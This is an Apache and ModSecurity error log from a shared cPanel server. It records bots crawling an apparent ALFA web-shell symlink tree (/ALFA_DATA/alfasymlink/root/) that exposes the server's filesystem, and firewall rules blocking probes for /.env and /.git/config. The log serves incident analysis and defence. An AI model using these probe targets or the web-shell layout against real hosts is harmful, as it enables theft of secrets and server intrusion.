[Mon Oct 26 11:40:08.562598 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/rpcbind/' is executable
[Mon Oct 26 11:40:08.563347 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/cryptsetup/' is executable
[Mon Oct 26 11:40:08.563377 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/apache2/' is executable
[Mon Oct 26 11:40:19.819115 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.204.12.115:16966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:31.769741 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.22.105.143:43848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:35.967576 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 54.159.18.27:28113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:39.737225 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.164.106.236:20596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:47.842288 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 44.196.118.6:35370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:41:01.531308 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.204.62.163:28906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:41:02.977554 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.11:24122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/trace
[Mon Oct 26 11:41:11.558618 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 52.203.152.231:49839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:41:19.673080 2026] [security2:error] [pid 3057476:tid 3057476] [client 54.152.163.42:59827] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/18/module/"] [unique_id "at90n7Vf0uosNTmZmYzjhwAAAA0"]
[Mon Oct 26 11:41:19.673152 2026] [security2:error] [pid 3057476:tid 3057476] [client 54.152.163.42:59827] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/18/module/"] [unique_id "at90n7Vf0uosNTmZmYzjhwAAAA0"]
[Mon Oct 26 11:41:23.622122 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.207.207.36:42628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:41:35.411764 2026] [core:error] [pid 3057439:tid 3057439] (13)Permission denied: [client 52.0.41.164:8454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/remove_id
[Mon Oct 26 11:41:55.350684 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.86.59.155:41728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:41:59.433019 2026] [ssl:error] [pid 3052342:tid 3052342] (22)Invalid argument: [client 98.83.177.42:17319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:42:07.360195 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 54.144.185.255:34240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:42:11.183871 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 18.215.112.101:25573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:42:19.320200 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 18.210.58.238:37266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:07/eject
[Mon Oct 26 11:42:31.408731 2026] [core:error] [pid 3052688:tid 3052688] (13)Permission denied: [client 185.191.171.12:11042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/poison
[Mon Oct 26 11:42:38.981016 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 34.236.135.14:15617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:07.831462 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 23.21.148.226:53294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:07.831699 2026] [security2:error] [pid 3056771:tid 3056771] [client 23.21.148.226:53294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/subsystem/mouse0/device/phys"] [unique_id "at91C5sJ0-wQDKdGtaQWJAAAAAI"]
[Mon Oct 26 11:43:07.831732 2026] [security2:error] [pid 3056771:tid 3056771] [client 23.21.148.226:53294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/subsystem/mouse0/device/phys"] [unique_id "at91C5sJ0-wQDKdGtaQWJAAAAAI"]
[Mon Oct 26 11:43:11.025464 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 44.221.227.90:57370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:14.883815 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 52.54.249.218:43278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:19.218609 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.84.250.51:7318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:26.674609 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.197.82.195:11385] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:30.766571 2026] [ssl:error] [pid 3056763:tid 3056763] (5)Input/output error: [client 54.147.182.90:5097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:34.588125 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 98.83.226.125:4875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:43:43.797542 2026] [core:error] [pid 3056771:tid 3056771] (13)Permission denied: [client 16.216.88.13:49152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/createacct
[Mon Oct 26 11:43:58.266890 2026] [core:error] [pid 3052688:tid 3052688] (13)Permission denied: [client 34.236.135.14:4284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory15/subsystem/uevent
[Mon Oct 26 11:44:02.250122 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 44.209.89.189:53232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/unbind
[Mon Oct 26 11:44:10.189140 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 184.73.239.35:55675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:18.412611 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.4.229.9:13344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:22.167809 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 98.82.66.172:63154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:26.217410 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 52.7.13.143:49446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:30.181174 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 3.211.181.86:12102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:33.523586 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at91VLRNJnL4L9TV9UoZDAAAAEE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:44:33.523642 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at91VLRNJnL4L9TV9UoZDAAAAEE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:44:34.310608 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 44.223.115.10:61983] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:38.293954 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.225.138.57:38335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:50.170184 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 34.236.41.241:64720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:44:58.275806 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.195.50.71:38536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:02.394457 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 18.214.186.220:56446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:10.268275 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 35.168.238.50:37469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:14.257084 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.220.2.97:6505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:18.205261 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 3.230.69.161:20158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:26.170403 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.207.47.227:43441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:34.178784 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 44.207.69.106:22081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:38.497536 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 3.89.176.255:8521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:42.200808 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 184.73.68.20:26416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:45:46.300477 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 44.195.145.102:51841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:02.169102 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.93.253.174:5545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:10.163495 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 3.210.114.189:42718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/device/driver/unbind
[Mon Oct 26 11:46:14.176953 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.84.147.79:24535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:18.180404 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 3.94.157.25:38329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:26.181764 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 3.218.103.254:43780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:30.171061 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.214.19.8:29419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:46.361773 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 54.197.82.195:58402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:50.322996 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.83.94.113:12228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:46:58.177834 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 3.219.81.66:41869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:07.868980 2026] [security2:error] [pid 3056771:tid 3056771] [client 82.156.77.25:55428] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at91-5sJ0-wQDKdGtaQWLgAAAAI"]
[Mon Oct 26 11:47:07.870050 2026] [authz_core:error] [pid 3056771:tid 3056771] [client 82.156.77.25:55428] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:47:10.236021 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 18.210.58.238:41270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup3/device/physical_node/resource0
[Mon Oct 26 11:47:14.153791 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 52.6.97.88:22789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:18.156130 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.227.234.246:55524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:26.336291 2026] [core:error] [pid 3055621:tid 3055621] (13)Permission denied: [client 185.191.171.18:38132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/trace
[Mon Oct 26 11:47:34.170218 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 35.171.117.160:30492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:34.808901 2026] [core:error] [pid 3055419:tid 3055419] (13)Permission denied: [client 85.208.96.195:34350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/red_zone
[Mon Oct 26 11:47:38.153428 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 3.89.170.186:44655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:46.158562 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 3.217.82.254:49004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:50.270472 2026] [ssl:error] [pid 3057476:tid 3057476] (5)Input/output error: [client 3.94.156.104:21245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:54.341867 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 44.212.145.46:33302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:47:54.541804 2026] [core:crit] [pid 3052342:tid 3052342] (13)Permission denied: [client 157.230.19.140:43360] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 11:47:54.597370 2026] [core:crit] [pid 3048989:tid 3048989] (13)Permission denied: [client 64.227.70.2:40556] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 11:47:54.717249 2026] [core:crit] [pid 3050354:tid 3050354] (13)Permission denied: [client 157.230.19.140:43376] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 11:48:02.174077 2026] [core:error] [pid 3058817:tid 3058817] (13)Permission denied: [client 52.70.138.176:49557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory17/subsystem/uevent
[Mon Oct 26 11:48:04.638574 2026] [security2:error] [pid 3050354:tid 3050354] [client 64.227.70.2:53108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at92NJYCuZKm1doEZwUI1AAAAAQ"]
[Mon Oct 26 11:48:04.638945 2026] [security2:error] [pid 3050354:tid 3050354] [client 64.227.70.2:53108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at92NJYCuZKm1doEZwUI1AAAAAQ"]
[Mon Oct 26 11:48:04.639226 2026] [security2:error] [pid 3050354:tid 3050354] [client 64.227.70.2:53108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at92NJYCuZKm1doEZwUI1AAAAAQ"]
[Mon Oct 26 11:48:06.152249 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 98.84.200.43:21866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:48:08.667376 2026] [security2:error] [pid 3057439:tid 3057439] [client 64.227.70.2:49698] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at92ONjbW_tApC11eoIRrgAAAAo"]
[Mon Oct 26 11:48:08.667645 2026] [security2:error] [pid 3057439:tid 3057439] [client 64.227.70.2:49698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at92ONjbW_tApC11eoIRrgAAAAo"]
[Mon Oct 26 11:48:08.667924 2026] [security2:error] [pid 3057439:tid 3057439] [client 64.227.70.2:49698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at92ONjbW_tApC11eoIRrgAAAAo"]
[Mon Oct 26 11:48:15.234450 2026] [proxy_fcgi:error] [pid 3057439:tid 3057439] [client 64.227.70.2:40540] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 11:48:18.102530 2026] [security2:error] [pid 3058817:tid 3058817] [client 64.227.70.2:40572] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at92QrFMhCXxc3vohvIacQAAAA4"]
[Mon Oct 26 11:48:18.103020 2026] [security2:error] [pid 3058817:tid 3058817] [client 64.227.70.2:40572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at92QrFMhCXxc3vohvIacQAAAA4"]
[Mon Oct 26 11:48:18.103318 2026] [security2:error] [pid 3058817:tid 3058817] [client 64.227.70.2:40572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at92QrFMhCXxc3vohvIacQAAAA4"]
[Mon Oct 26 11:48:18.330592 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.209.100.30:35956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:48:22.150572 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 52.44.148.203:36474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:48:26.357305 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.217.177.142:49226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:48:30.175660 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.83.240.58:39014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:48:46.239878 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 54.156.124.2:6558] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:49:10.453909 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.207.79.144:27202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:49:26.156134 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 34.231.45.47:4941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:49:30.258378 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 23.23.180.225:56086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:49:42.158178 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.194.226.74:7068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:49:46.188741 2026] [core:error] [pid 3058832:tid 3058832] (13)Permission denied: [client 18.232.36.1:39930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0400:00/subsystem/uevent
[Mon Oct 26 11:49:50.178523 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 107.20.181.148:62440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:50:02.379257 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 52.3.102.51:29607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:50:10.149653 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 34.197.28.78:33342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:50:18.150210 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.195.50.71:43856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:50:38.145618 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 18.215.77.19:14187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:50:43.157202 2026] [core:crit] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.14:39140] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/apache2/run/' is executable
[Mon Oct 26 11:51:10.257023 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.44.229.124:18867] AH02013: coalesce failed to read from data bucket
